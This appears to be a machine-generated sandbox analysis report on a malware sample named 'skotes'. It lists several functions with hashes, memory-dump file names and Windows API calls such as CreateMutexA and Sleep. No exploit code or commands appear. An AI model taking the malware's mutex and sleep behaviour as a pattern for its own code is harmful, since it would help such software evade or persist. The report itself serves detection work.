Instruction ID: cd81e2360dc0d568c70643c46629d24855a6aed9db73d656149c8c6ed8d3c23a
Opcode Fuzzy Hash: 34ef7a9580fc9301d888a87b6eef8b84d470e7752974e6b9b12bb97fc64ee59d
Instruction Fuzzy Hash: 7A310331714244CBEB18DB78D9CDBAEBB62EF85314F24875DE016A73D6C73A89808751

Function 00AC9F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00AC9F47
Sleep.KERNEL32(00000064,?), ref: 00ACA963
CreateMutexA.KERNEL32(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: ab8a9529f4d63b6ff13449886b3d47116d668a323907810f74063c74f21078ce
Instruction ID: 9e680c0a235e5585563e6e56a6416da303e87a77fb9f53a47e63ab9705cc577e
Opcode Fuzzy Hash: ab8a9529f4d63b6ff13449886b3d47116d668a323907810f74063c74f21078ce
Instruction Fuzzy Hash: B4312831710208CBEB18DB78D98DBADBB62EF96314F20875DE015E73D5C73689808792

Function 00ACA079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00ACA07C
Sleep.KERNEL32(00000064,?), ref: 00ACA963
CreateMutexA.KERNEL32(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 257f4d6dd9730a04aec0221dee6a6c40e2a4f021f41e65fc72ed6ea809a440fd
Instruction ID: 07659d6d646314e65572e203420baee4f57d3366141e88419cb7451eacc84dfa
Opcode Fuzzy Hash: 257f4d6dd9730a04aec0221dee6a6c40e2a4f021f41e65fc72ed6ea809a440fd
Instruction Fuzzy Hash: 3B3123317102089BEB18DB78DD89B7DBB72DFA5318F24835DE024A73D6C73A99808652

Function 00ACA1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00ACA1B1
Sleep.KERNEL32(00000064,?), ref: 00ACA963
CreateMutexA.KERNEL32(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 02a4110f1639c6e432535110bf3788693a3061f51eb4ed7c05476a83881bbc06
Instruction ID: db20e6612746f7534a26273daa8a35436abd9059daf755f1f0474daadf9fcf65
Opcode Fuzzy Hash: 02a4110f1639c6e432535110bf3788693a3061f51eb4ed7c05476a83881bbc06
Instruction Fuzzy Hash: 00312531711208DBEB08DBBCDD89FBDBB62AF96318F24835DE014A73D1C73689808652

Function 00ACA2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00ACA2E6
Sleep.KERNEL32(00000064,?), ref: 00ACA963
CreateMutexA.KERNEL32(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 810617d8926d5d14c8233fa0ef2eec7836a613c52513ed3ab844728e8fefd267
Instruction ID: fe1154d4b2465c265ec376e77007d30b3e5c65598e575aaf3ea810f7acf0cd75
Opcode Fuzzy Hash: 810617d8926d5d14c8233fa0ef2eec7836a613c52513ed3ab844728e8fefd267
Instruction Fuzzy Hash: A1313731710248DBEB18DB7CDD89B7DBA72AFA1318F20835CE415AB3D5C73689808752

Function 00ACA418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00ACA41B
Sleep.KERNEL32(00000064,?), ref: 00ACA963
CreateMutexA.KERNEL32(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 66d87da855edbb2d43827d241938564def97ae358b843294021e220b18450e10
Instruction ID: f3afb339ba18d41b8209b5869aac58caf590574acd796ff3186fda782a09054b
Opcode Fuzzy Hash: 66d87da855edbb2d43827d241938564def97ae358b843294021e220b18450e10
Instruction Fuzzy Hash: 26312531710208DBEB0C9BBCDA8DF7DB662EF91318F20825CE015A73D6C77689808652

